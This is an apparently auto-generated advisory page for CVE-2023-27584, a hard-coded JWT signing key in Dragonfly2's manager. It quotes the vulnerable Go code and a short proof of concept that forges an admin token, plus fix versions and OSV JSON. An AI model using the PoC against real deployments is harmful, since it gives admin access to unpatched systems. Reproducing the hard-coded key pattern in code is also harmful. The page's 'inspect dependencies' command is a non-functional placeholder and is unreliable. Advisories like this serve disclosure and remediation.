CVE-2023-27584: D7y.io/dragonfly/v2 Dragonfly2 Has Hard Coded Cyptographic Vulnerability

CRITICAL
Advisory Identifier: GHSA-hpc8-7wpm-889w
CVSS 9.8
CWE-321 CWE-798
Published
Advisory Summary

CVE-2023-27584 is a CRITICAL (CVSS 9.8) dragonfly2 has hard coded cyptographic vulnerability (CWE-321: Use of Hard-coded Cryptographic Key) affecting D7y.io/dragonfly/v2 libraries in the Go ecosystem. The issue involves dragonfly2 has hard coded cyptographic key. Remediation is available by upgrading affected packages to version 2.1.0-beta.1, 2.0.9-rc.2.

CVE-2023-27584 at a Glance

CVE Identifier CVE-2023-27584
GHSA Identifier GHSA-hpc8-7wpm-889w
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-321: Use of Hard-coded Cryptographic Key
Affected Product D7y.io/dragonfly/v2
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2023-27584

To remediate this vulnerability, upgrade all affected D7y.io/dragonfly/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

d7y.io/dragonfly/v2 fixed: 2.1.0-beta.1
Upgrade d7y.io/dragonfly/v2 to 2.1.0-beta.1
d7y.io/dragonfly/v2 fixed: 2.0.9-rc.2
Upgrade d7y.io/dragonfly/v2 to 2.0.9-rc.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for d7y.io/dragonfly/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2023-27584, inspect your project dependencies for D7y.io/dragonfly/v2:

inspect dependencies for d7y.io/dragonfly/v2

Analyze the terminal output to locate any version of D7y.io/dragonfly/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.1.0-beta.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-321: Use of Hard-coded Cryptographic Key, where the product uses a hard-coded, unchangeable cryptographic key. In D7y.io/dragonfly/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Hello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature. ### Details Dragonfly uses [JWT](https://github.com/dragonflyoss/Dragonfly2/blob/cddcac7e3bdb010811e2b62b3c71d9d5c6749011/manager/middlewares/jwt.go) to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass ```go authMiddleware, err := jwt.New(&jwt.GinJWTMiddleware{ Realm: "Dragonfly", Key: []byte("Secret Key"), Timeout: 2 * 24 * time.Hour, MaxRefresh: 2 * 24 * time.Hour, IdentityKey: identityKey, IdentityHandler: func(c *gin.Context) any { claims := jwt.ExtractClaims(c) id, ok := claims[identityKey] if !ok { c.JSON(http.StatusUnauthorized, gin.H{ "message": "Unavailable token: require user id", }) c.Abort() return nil } c.Set("id", id) return id }) ``` ### PoC Use code below to generate a jwt token ```go package main import ( "errors" "fmt" "time" "github.com/golang-jwt/jwt/v4" ) func (stc *DragonflyTokenClaims) Valid() error { // Verify expiry. if stc.ExpiresAt <= time.Now().UTC().Unix() { vErr := new(jwt.ValidationError) vErr.Inner = errors.New("Token is expired") vErr.Errors |= jwt.ValidationErrorExpired return vErr } return nil } type DragonflyTokenClaims struct { Id int32 `json:"id,omitempty"` ExpiresAt int64 `json:"exp,omitempty"` Issue int64 `json:"orig_iat,omitempty"` } func main() { signingKey := "Secret Key" token := jwt.NewWithClaims(jwt.SigningMethodHS256, &DragonflyTokenClaims{ ExpiresAt: time.Now().Add(time.Hour).Unix(), Id: 1, Issue: time.Now().Unix(), }) signedToken, _ := token.SignedString([]byte(signingKey)) fmt.Println(signedToken) } ``` And send request with JWT above , you can still get data without restriction. <img width="1241" alt="image" src="https://user-images.githubusercontent.com/70683161/224255896-8604fa70-5846-4fa0-b1f9-db264c5865fe.png"> ### Impact An attacker can perform any action as a user with admin privileges.

CVE-2023-27584 Affected D7y.io/dragonfly/v2 Versions

2 component(s)
Fixed Versions:
2.1.0-beta.12.0.9-rc.2
Product / Package Ecosystem Affected Versions Fixed Version
d7y.io/dragonfly/v2
Go
≥ 2.1.0-alpha.0
< 2.1.0-beta.1
2.1.0-beta.1
d7y.io/dragonfly/v2
Go
< 2.0.9-rc.2
2.0.9-rc.2

References

Frequently Asked Questions

What is CVE-2023-27584?
CVE-2023-27584 is a security vulnerability in D7y.io/dragonfly/v2 involving Dragonfly2 has hard coded cyptographic key under CWE-321: Use of Hard-coded Cryptographic Key.
Which D7y.io/dragonfly/v2 versions are affected?
Affected versions include releases prior to 2.1.0-beta.1, 2.0.9-rc.2 across affected packages: d7y.io/dragonfly/v2.
What version fixes CVE-2023-27584?
Upgrading to 2.1.0-beta.1, 2.0.9-rc.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is d7y.io/dragonfly/v2 affected?
Yes, d7y.io/dragonfly/v2 is affected in releases prior to 2.1.0-beta.1, 2.0.9-rc.2. Upgrade your dependency to 2.1.0-beta.1, 2.0.9-rc.2 or later.
What is the CVSS score of CVE-2023-27584?
CVE-2023-27584 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2023-27584?
CVE-2023-27584 is classified under CWE-321: Use of Hard-coded Cryptographic Key (The product uses a hard-coded, unchangeable cryptographic key.).
How can I check Go dependencies for CVE-2023-27584?
Run the dependency tree command: 'inspect dependencies for d7y.io/dragonfly/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hpc8-7wpm-889w",
  "modified" : "2025-04-23T14:51:32Z",
  "published" : "2024-09-19T14:47:36Z",
  "aliases" : [ "CVE-2023-27584" ],
  "summary" : "Dragonfly2 has hard coded cyptographic key",
  "details" : "### Summary\nHello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature. \n\n### Details\nDragonfly uses  [JWT](https://github.com/dragonflyoss/Dragonfly2/blob/cddcac7e3bdb010811e2b62b3c71d9d5c6749011/manager/middlewares/jwt.go) to verify user. However, the secret key for JWT, \"Secret Key\", is hard coded, which leads to authentication bypass\n```go\nauthMiddleware, err := jwt.New(&jwt.GinJWTMiddleware{\n\t\tRealm:       \"Dragonfly\",\n\t\tKey:         []byte(\"Secret Key\"),\n\t\tTimeout:     2 * 24 * time.Hour,\n\t\tMaxRefresh:  2 * 24 * time.Hour,\n\t\tIdentityKey: identityKey,\n\n\t\tIdentityHandler: func(c *gin.Context) any {\n\t\t\tclaims := jwt.ExtractClaims(c)\n\n\t\t\tid, ok := claims[identityKey]\n\t\t\tif !ok {\n\t\t\t\tc.JSON(http.StatusUnauthorized, gin.H{\n\t\t\t\t\t\"message\": \"Unavailable token: require user id\",\n\t\t\t\t})\n\t\t\t\tc.Abort()\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\tc.Set(\"id\", id)\n\t\t\treturn id\n\t\t})\n```\n\n### PoC\nUse code below to generate a jwt token\n```go\npackage main\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/golang-jwt/jwt/v4\"\n)\n\nfunc (stc *DragonflyTokenClaims) Valid() error {\n\t// Verify expiry.\n\tif stc.ExpiresAt <= time.Now().UTC().Unix() {\n\t\tvErr := new(jwt.ValidationError)\n\t\tvErr.Inner = errors.New(\"Token is expired\")\n\t\tvErr.Errors |= jwt.ValidationErrorExpired\n\t\treturn vErr\n\t}\n\treturn nil\n}\n\ntype DragonflyTokenClaims struct {\n\tId        int32 `json:\"id,omitempty\"`\n\tExpiresAt int64 `json:\"exp,omitempty\"`\n\tIssue     int64 `json:\"orig_iat,omitempty\"`\n}\n\nfunc main() {\n\tsigningKey := \"Secret Key\"\n\ttoken := jwt.NewWithClaims(jwt.SigningMethodHS256, &DragonflyTokenClaims{\n\t\tExpiresAt: time.Now().Add(time.Hour).Unix(),\n\t\tId:        1,\n\t\tIssue:     time.Now().Unix(),\n\t})\n\tsignedToken, _ := token.SignedString([]byte(signingKey))\n\tfmt.Println(signedToken)\n}\n```\nAnd send request with JWT above , you can still get data without restriction.\n<img width=\"1241\" alt=\"image\" src=\"https://user-images.githubusercontent.com/70683161/224255896-8604fa70-5846-4fa0-b1f9-db264c5865fe.png\">\n\n\n### Impact\nAn attacker can perform any action as a user with admin privileges.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "d7y.io/dragonfly/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.1.0-alpha.0"
      }, {
        "fixed" : "2.1.0-beta.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "d7y.io/dragonfly/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.9-rc.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-hpc8-7wpm-889w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-27584"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dragonflyoss/Dragonfly2/commit/e9da69dc4048bf2a18a671be94616d85e3429433"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dragonflyoss/dragonfly/commit/684469a31bd27d38c715c507bca9f6d2c21f9007"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/dragonflyoss/Dragonfly2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dragonflyoss/Dragonfly2/releases/tag/v2.0.9"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-321", "CWE-798" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-09-19T14:47:36Z",
    "nvd_published_at" : "2024-09-19T23:15:11Z"
  }
}